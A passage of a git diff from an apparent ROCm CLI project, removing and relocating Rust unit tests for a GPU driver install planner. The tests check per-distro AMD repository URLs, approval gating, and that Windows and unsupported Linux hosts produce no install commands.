build_driver_install_plan_read( + &test_examine("windows", false), + &os_release_found(""), true, PrivilegeEscalation::Sudo, ); - let rendered = render_driver_install_plan(&plan, false, false); + assert!(!should_execute(&windows, true, false)); + assert!(!should_execute(&windows, false, false)); - assert!(plan.supported); - assert!(plan.mutating); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.4/main/x86_64") - ); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_rocky_8_and_10_remain_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. - for version in ["8.10", "10.0"] { - let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(&os_release), - true, - PrivilegeEscalation::Sudo, - ); - assert!(!plan.supported, "rocky {version} should be unsupported"); - assert!(!plan.mutating, "rocky {version} must not mutate"); - assert!( - plan.commands.is_empty(), - "rocky {version} must emit no commands" - ); - } - } - - #[test] - fn driver_plan_debian_uses_intended_ubuntu_suite() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD's documented Debian install deliberately serves Debian from the - // Ubuntu-suite amdgpu tree (Debian 12 -> jammy). Lock that in and - // ensure the plan explains the mapping is intentional. - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert_eq!(plan.codename, "jammy"); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!( - plan.reason - .contains("intentionally uses AMD's Ubuntu-suite repository") - ); - } - - #[test] - fn driver_plan_sles_157_uses_documented_zypper_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=sles -VERSION_ID="15.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(rendered.contains("`zypper` package manager is available")); - assert!(rendered.contains("SUSEConnect")); - assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); - assert!(rendered.contains("sudo zypper --non-interactive install -y kernel-default-devel")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64") - ); - assert!(rendered.contains("gpgcheck=1")); - assert!(rendered.contains("/etc/zypp/repos.d/amdgpu.repo")); - assert!( - rendered.contains("sudo zypper --non-interactive --gpg-auto-import-keys refresh"), - "the post-repo-add refresh must auto-trust the new repo's signing key, \ - or zypper would prompt (and hang this unattended flow): {rendered}" - ); - assert!(rendered.contains("Execute: sudo zypper --non-interactive install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn sles_repo_baseurl_uses_the_given_repo_version_expr_not_a_hardcoded_latest() { - // Mutation-proofs the parameter wiring itself: a mutation that - // hardcoded `latest` into this function's body left every existing - // SLES test green because their default env override also resolves - // to `latest`, so none of them could tell "wired correctly" apart - // from "hardcoded to the same value the default happens to be". - assert_eq!( - sles_repo_baseurl("6.2.1", "15.7"), - "https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64" - ); - assert_eq!( - sles_repo_baseurl("latest", "15.7"), - "https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64" - ); - } - - #[test] - fn driver_plan_dnf_overrides_the_repo_version_via_the_driver_version_env() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let os_release = "ID=rhel\nVERSION_ID=\"9.7\"\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("amdgpu/30.10/rhel/9.7/"), - "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the dnf repo baseurl, \ - not a hardcoded `latest`: {rendered}" - ); - } - - #[test] - fn driver_plan_id_like_derivatives_honour_the_driver_version_env() { - // (os-release, expected repo path). Each derivative arm of - // `driver_plan_via_id_like` must thread the override, not `latest`. - let cases = [ - ( - "ID=almalinux\nID_LIKE=\"rhel centos fedora\"\nVERSION_ID=\"9.6\"\n", - "amdgpu/30.10/el/9.6", - ), - ( - "ID=pop\nID_LIKE=\"ubuntu debian\"\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - "amdgpu/30.10/ubuntu", - ), - ( - "ID=devuan\nID_LIKE=debian\nVERSION_ID=\"12\"\n", - "amdgpu/30.10/ubuntu", - ), - ]; - for (os_release, want) in cases { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(plan.supported, "{os_release}"); - assert!(rendered.contains(want), "{os_release}: {rendered}"); - assert!( - !rendered.contains("amdgpu/latest"), - "{os_release}: {rendered}" - ); - } - } - - #[test] - fn approving_an_unsupported_plan_is_an_error_but_not_a_dry_run_or_windows() { - let mut plan = unsupported_test_plan(); - assert!(approval_of_unsupported_plan(&plan, true, false)); - assert!(!approval_of_unsupported_plan(&plan, false, false)); - assert!(!approval_of_unsupported_plan(&plan, true, true)); - plan.policy = "windows_validate_only".to_owned(); - assert!(!approval_of_unsupported_plan(&plan, true, false)); - plan.policy = "x".to_owned(); - plan.supported = true; - assert!(!approval_of_unsupported_plan(&plan, true, false)); - } - - fn unsupported_test_plan() -> DriverInstallPlan { - invalid_driver_version_override_plan("x".to_owned()) - } - - #[test] - fn driver_plan_refuses_a_retired_version_pin_variable() { - for retired in RETIRED_DRIVER_VERSION_VARS { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set(retired, "7.2.4"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported && !plan.mutating, "{retired}"); - assert_eq!(plan.policy, "retired_driver_version_override"); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - } - } - - #[test] - fn driver_plan_support_matches_rocm_core_diagnose() { - // `rocm-core` cannot call the plan builder, so diagnose keeps its own - // copy of the support matrix (`dkms_driver_plan_is_supported`); this - // fails if the two disagree on any host. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let hosts = [ - ("ubuntu", "22.04", "debian"), - ("ubuntu", "24.04", "debian"), - ("Ubuntu", "24.04", "debian"), - ("ubuntu", "26.04", "debian"), - ("debian", "12", ""), - ("debian", "13", ""), - ("rhel", "9.7", "fedora"), - ("rhel", "10.0", "fedora"), - ("ol", "9.7", "fedora"), - ("ol", "9.7", "rhel fedora"), - ("ol", "9.5", "rhel fedora"), - ("rocky", "9.6", "rhel centos fedora"), - ("almalinux", "9.6", "rhel centos fedora"), - ("sles", "15.7", "suse"), - ("sle", "15.7", "suse"), - ("pop", "24.04", "ubuntu debian"), - ("linuxmint", "22", "ubuntu debian"), - ("fedora", "41", ""), - ("opensuse-leap", "15.7", "suse opensuse"), - ]; - for (id, version, like) in hosts { - let os_release = format!( - "ID={id}\nVERSION_ID=\"{version}\"\nID_LIKE=\"{like}\"\nVERSION_CODENAME=noble\n" - ); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(&os_release), - true, - PrivilegeEscalation::Sudo, - ); - let host = rocm_core::examine::Examination { - distro_id: id.to_owned(), - distro_version: version.to_owned(), - distro_id_like: like.to_owned(), - ..rocm_core::examine::Examination::default() - }; - assert_eq!( - plan.supported, - rocm_core::diagnose::dkms_driver_plan_is_supported(&host), - "{id} {version} (ID_LIKE={like}): plan policy {}", - plan.policy - ); - } - } - - #[test] - fn driver_plan_sles_overrides_the_repo_version_via_the_driver_version_env() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "6.2.1"); - let os_release = r#" -ID=sles -VERSION_ID="15.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64"), - "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the SLES repo baseurl, \ - not a hardcoded `latest`: {rendered}" - ); - } - - #[test] - fn driver_plan_unsupported_linux_is_non_mutating() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=fedora -VERSION_ID="41" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("no driver commands will be executed")); - assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); - } - - /// AGENTS.md section 3: the planners' wording is asserted together with what - /// the command does on that platform. On Windows the command is - /// `windows_validate_only` (no execution), so the plan must be read-only, - /// carry no `--yes` and not call itself disruptive; elsewhere the command - /// mutates, so the plan keeps approval, `--yes` and the warning. - #[test] - fn planners_describe_install_driver_as_the_command_behaves_on_each_platform() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for os in ["windows", "linux"] { - let only_reports = install_driver_only_reports_on(os); - let plan = build_driver_install_plan_at( - &test_examine(os, false), - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - // The planners and the command agree on the platform decision. - assert_eq!(only_reports, plan.policy == "windows_validate_only", "{os}"); - if only_reports { - assert!(!plan.mutating, "{os}"); - } - - let freeform = crate::freeform_planner::plan_driver_request( - "install the driver", - "install the driver", - only_reports, - ); - let action = freeform.actions.last().expect("a driver action"); - let chat = crate::chat::chat_install_driver_action( - vec!["install".to_owned(), "driver".to_owned()], - only_reports, - ); - if only_reports { - assert!(!action.args.iter().any(|a| a == "--yes"), "{action:?}"); - assert!(!action.reason.contains("disruptive"), "{action:?}"); - assert!(!freeform.approval.starts_with("required")); - match chat { - crate::chat::ChatRocmCommandAction::ReadOnly(args) => { - assert!(!args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::Approval { .. } => { - panic!("chat must not ask approval for a report-only command") - } - } - } else { - assert!(action.args.iter().any(|a| a == "--yes")); - assert!(action.reason.contains("disruptive")); - assert_eq!(freeform.approval, "required before driver changes"); - match chat { - crate::chat::ChatRocmCommandAction::Approval { args, .. } => { - assert!(args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::ReadOnly(_) => { - panic!("chat must ask approval on a mutating platform") - } - } - } - } - } - - /// The chat entry point passes this host's decision to the helper, so a - /// hard-coded value fails on one of the two platforms the suite runs on. - #[test] - fn the_chat_entry_point_follows_the_hosts_install_driver_decision() { - let action = crate::chat::chat_rocm_command_action_from_args(vec![ - "install".to_owned(), - "driver".to_owned(), - ]) - .expect("chat action"); - let reports = std::env::consts::OS == "windows"; - assert_eq!(host_install_driver_only_reports(), reports); - match action { - crate::chat::ChatRocmCommandAction::ReadOnly(args) => { - assert!(reports, "read-only only where the command only reports"); - assert!(!args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::Approval { args, .. } => { - assert!(!reports, "approval only where the command installs"); - assert!(args.iter().any(|a| a == "--yes")); - } - } - } - - #[test] - fn windows_install_driver_is_validate_only() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan_read( - &test_examine("windows", false), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert_eq!(plan.policy, "windows_validate_only"); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - // The plan installs nothing, so it asks for no reboot and labels its - // checks accordingly. - assert!(!plan.reboot_required); - assert!(rendered.contains("post_install_checks:")); - assert!(!rendered.contains("post_reboot")); - // No driver facts in this fixture: the text says so and points at the - // commands that exist. Both commands take no flags. - assert!(rendered.contains("could not be read; run `rocm examine`")); - assert!(rendered.contains("rocm diagnose")); - assert!(plan.commands.is_empty()); - } - - /// The gate behind "installs nothing on Windows": approval does not make a - /// Windows plan execute, while the same flags do execute a supported, - /// mutating plan, so the assertion cannot pass by always returning false. - #[test] - fn should_execute_never_runs_a_windows_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let windows = build_driver_install_plan_read( - &test_examine("windows", false), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - assert!(!should_execute(&windows, true, false)); - assert!(!should_execute(&windows, false, false)); - - let mut mutating = windows; - mutating.supported = true; - mutating.mutating = true; - assert!(should_execute(&mutating, true, false)); - assert!(!should_execute(&mutating, false, false)); - assert!(!should_execute(&mutating, true, true)); - } - - fn windows_examine_with_driver(version: &str, date: &str) -> ExamineSummary { - let mut examine = test_examine("windows", false); - examine.driver = rocm_core::DriverSummary { - policy: "windows_validate_only".to_owned(), - status: "amd_display_driver_detected".to_owned(), - detail: Some(format!("AMD Radeon(TM) Graphics driver {version}")), - windows: rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date), - }; - examine - } - - /// The text and the behaviour, asserted together: the plan reports the - /// driver version, date, verdict and fix id, and the same plan runs - /// nothing, even when approval is given. - #[test] - fn windows_install_driver_reports_an_old_driver_and_installs_nothing() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("30.0.13014.8", "2021-08-04"); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - - // Behaviour: nothing to execute, however the command is invoked. - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty()); - assert!(plan.execution_commands().is_empty()); - for (yes, dry_run) in [(false, false), (true, false), (true, true)] { - let rendered = render_driver_install_plan(&plan, yes, dry_run); - assert!( - rendered.contains("execution_commands: "), - "{rendered}" - ); - assert!( - rendered.contains("action: no driver commands will be executed"), - "{rendered}" - ); - assert!(!rendered.contains("rerun with --yes"), "{rendered}"); - - // Text: what it reports. - assert!(rendered.contains("version 30.0.13014.8"), "{rendered}"); - assert!(rendered.contains("dated 2021-08-04"), "{rendered}"); - assert!(rendered.contains("outdated: yes"), "{rendered}"); - assert!( - rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - // The promise that nothing is installed. - assert!( - rendered.contains("no driver is installed or changed"), - "{rendered}" - ); - } - } - - #[test] - fn windows_install_driver_does_not_call_a_current_driver_outdated() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("32.0.23033.1002", "2026-05-02"); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, true, false); - assert!(rendered.contains("version 32.0.23033.1002"), "{rendered}"); - assert!(rendered.contains("outdated: no"), "{rendered}"); - // The `no` is only about the date, so the plan says what the date - // cannot judge; the state behind it is a report-only plan. - assert!( - rendered.contains(rocm_core::windows_driver::FLOOR_NOTE), - "{rendered}" - ); - assert!( - !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - assert!(plan.commands.is_empty() && !plan.mutating); - } - - #[test] - fn windows_install_driver_says_unknown_when_the_date_is_unreadable() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("30.0.13014.8", ""); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(rendered.contains("outdated: unknown"), "{rendered}"); - assert!( - !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - } - - /// One probe result, read by both commands. The install text and the - /// diagnose result are built from the same `WindowsDriverInfo`, the value - /// `rocm examine` reads from the inventory, so a text that names the fix id - /// is checked against the command it names. Reverting the `reason` wiring in - /// `build_driver_install_plan` makes the install half fail. - fn install_text_and_diagnose_ids( - info: Option<&rocm_core::windows_driver::WindowsDriverInfo>, - ) -> (String, Vec) { - let mut examine = test_examine("windows", false); - examine.driver.windows = info.cloned(); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let text = render_driver_install_plan(&plan, false, false); - - let mut exam = rocm_core::Examination { - os_family: "windows".to_owned(), - ..rocm_core::Examination::default() - }; - exam.set_windows_driver(info); - let ids = rocm_core::run_diagnose(&exam, "") - .matched - .into_iter() - .map(|d| d.id) - .collect(); - (text, ids) - } - - #[test] - fn the_fix_id_the_install_text_names_is_the_one_diagnose_raises() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let id = rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID; - let probe = - |version, date| rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date); - - // Old driver: the text names the id, and the command it names raises it. - let (text, ids) = - install_text_and_diagnose_ids(probe("30.0.13014.8", "2021-08-04").as_ref()); - assert!(text.contains(id), "{text}"); - assert!(ids.iter().any(|raised| raised == id), "{ids:?}"); - - // Current driver and unreadable date: the text does not name it, and - // diagnose does not raise it. - for info in [ - probe("32.0.23033.1002", "2026-05-02"), - probe("30.0.13014.8", ""), - None, - ] { - let (text, ids) = install_text_and_diagnose_ids(info.as_ref()); - assert!(!text.contains(id), "{text}"); - assert!(ids.iter().all(|raised| raised != id), "{ids:?}"); - } - } - - #[test] - fn wsl_install_driver_installs_rocdxg_without_dkms() { - // `dkms: true` is passed deliberately: WSL2 has no kernel module to - // build, so the flag must not pull in the bare-metal path. - // - // The WSL branch reads the three ROCDXG vars — an exported - // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and - // fail the `plan.supported` assertion below. `ROCM_CLI_AMDGPU_DRIVER_VERSION` - // is never consulted on this path (the WSL dispatch happens before that - // var is read), but this reader still takes the combined guard so it - // isn't the one test that has to remember which half it needs. - let _env = scoped_rocdxg_env(); - let plan = build_driver_install_plan_read( - &test_examine("linux", true), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "wsl_rocdxg"); - assert!(!rendered.contains("amdgpu-dkms")); - // The whole point of the bug: the plan must be runnable, and must not - // send the user to a file that only exists in a git checkout. - assert!(!rendered.contains("execution_commands: ")); - assert!(!rendered.contains("scripts/")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { - // ROCDXG is userspace: `ldconfig` publishes it in this boot. The - // bare-metal DKMS path is the one that needs a reboot. - let _env = scoped_rocdxg_env(); - let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!wsl.reboot_required); - let rendered = render_driver_install_plan(&wsl, false, false); - // Anchor on the install step first: a refusal plan also reports - // `reboot_required: false`, renders `post_install_checks:` from its - // non-empty `checks`, and contains no `post_reboot` — so the three - // assertions below hold against a plan that installs nothing at all. - // Only a real install plan carries this command. - assert!( - rendered.contains("apt-get install -y '/tmp/"), - "expected a real install plan, got:\n{rendered}" - ); - assert!(rendered.contains("post_install_checks:")); - assert!(!rendered.contains("post_reboot")); - - let bare_metal = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - assert!(bare_metal.reboot_required); - assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); + let mut mutating = windows; + mutating.supported = true; + mutating.mutating = true; + assert!(should_execute(&mutating, true, false)); + assert!(!should_execute(&mutating, false, false)); + assert!(!should_execute(&mutating, true, true)); } // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base // version scheme are matched to the correct apt (`ubuntu/`) or EL // (`el/`) plan instead of falling through to the unsupported plan. - - #[test] - fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. - let os_release = r#" -ID=pop -VERSION_ID="22.04" -VERSION_CODENAME=jammy -ID_LIKE="ubuntu debian" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. - assert!(rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. - let os_release = r#" -ID=lmde -VERSION_ID="12" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); - } - - #[test] - fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. - let os_release = r#" -ID=almalinux -VERSION_ID="9.6" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.6/main/x86_64") - ); - assert!(!rendered.contains("/rhel/9.6/")); - // el9 uses the version-aware standard-kernel prepare commands. - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=almalinux -VERSION_ID="8.10" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - // EL 8 is served from the major-version path (el/8), matching AMD docs. - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/8/main/x86_64") - ); - // el8 has no kernel-devel-matched package. - assert!(!rendered.contains("kernel-devel-matched")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - } - - #[test] - fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian-family derivative whose VERSION_ID does not align with any - // AMD-documented Debian version must not fabricate a plan. - let os_release = r#" -ID=lmde -VERSION_ID="6" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("amdgpu-dkms")); - } - - #[test] - fn driver_plan_exact_id_takes_precedence_over_id_like() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") - ); - assert!(!rendered.contains("/el/9.7/")); - } - - #[test] - fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL - // version outside the exact `ol` arm must NOT be captured by the EL - // fallback, which would emit non-UEK kernel commands that cannot install. - let os_release = r#" -ID=ol -VERSION_ID="9.6" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("kernel-devel-matched")); - assert!(!rendered.contains("amdgpu-dkms")); - } - - #[test] - fn driver_plan_opensuse_leap_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC - // entitlement, so it must not be matched to the SLES plan. - let os_release = r#" -ID=opensuse-leap -VERSION_ID="15.7" -ID_LIKE="suse opensuse" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("SUSEConnect")); - assert!(!rendered.contains("amdgpu-dkms")); - } } diff --git a/apps/rocm/src/driver_plan.rs b/apps/rocm/src/driver_plan.rs index 3908b860a9..b97cea34bb 100644 --- a/apps/rocm/src/driver_plan.rs +++ b/apps/rocm/src/driver_plan.rs @@ -2,24 +2,27 @@ // // SPDX-License-Identifier: MIT -//! The `rocm install driver` plan model and its rendering: the plan, its -//! commands and their phases, how a command reaches root, the text the plan is -//! printed as, and the helpers every plan builder shares. +//! The `rocm install driver` plan: the model (`DriverInstallPlan`, its commands +//! and their phases, how a command reaches root), the text the plan is printed +//! as, the helpers every plan builder shares, and the builders themselves, which +//! turn the host's examine summary and os-release into a per-distro plan (apt, +//! dnf, zypper, or the WSL rocDXG plan in the child module `rocdxg`). //! //! Relocated from `driver_install.rs` with no behavior change; the moved -//! struct fields are `pub(crate)` because the plan builders, which stay in -//! `driver_install.rs` for now, construct the plan. +//! struct fields are `pub(crate)` because `driver_install.rs`, which runs the +//! plan and records its state, reads and builds them. //! -//! A leaf: its production code uses only `std` and `rocm_core`. +//! Production code in this file uses only `std` and `rocm_core` (the child +//! module also reads `truthy_env` from `therock.rs`), and nothing in this module +//! or its tests depends on `driver_install.rs`. use std::fmt::Write as _; +use rocm_core::ExamineSummary; use rocm_core::placeholder::empty_as_unknown; mod rocdxg; -#[cfg(test)] -pub(crate) use rocdxg::scoped_rocdxg_env; pub(crate) use rocdxg::wsl_rocdxg_driver_plan; #[derive(Debug, Clone)] @@ -109,7 +112,7 @@ impl PrivilegeEscalation { /// The prefix to place before a command that must run as root — `"sudo "`, /// or nothing at all when the process already is root. Includes the /// trailing space so it composes directly into a command string. - pub(crate) const fn prefix(self) -> &'static str { + const fn prefix(self) -> &'static str { match self { Self::Sudo => "sudo ", Self::AlreadyRoot => "", @@ -119,7 +122,7 @@ impl PrivilegeEscalation { /// Whether a plan built under this escalation depends on `sudo` being /// installed. Drives the preflight list, so it does not claim a /// precondition the plan is not relying on. - pub(crate) const fn needs_sudo_binary(self) -> bool { + const fn needs_sudo_binary(self) -> bool { matches!(self, Self::Sudo) } } @@ -131,7 +134,7 @@ impl PrivilegeEscalation { /// for `VERSION_ID` in the SUSEConnect commands, directly unquoted on the /// command line -- so only letters, digits, and `. _ -` are accepted, the /// same charset a real amdgpu/distro version or codename is made of. 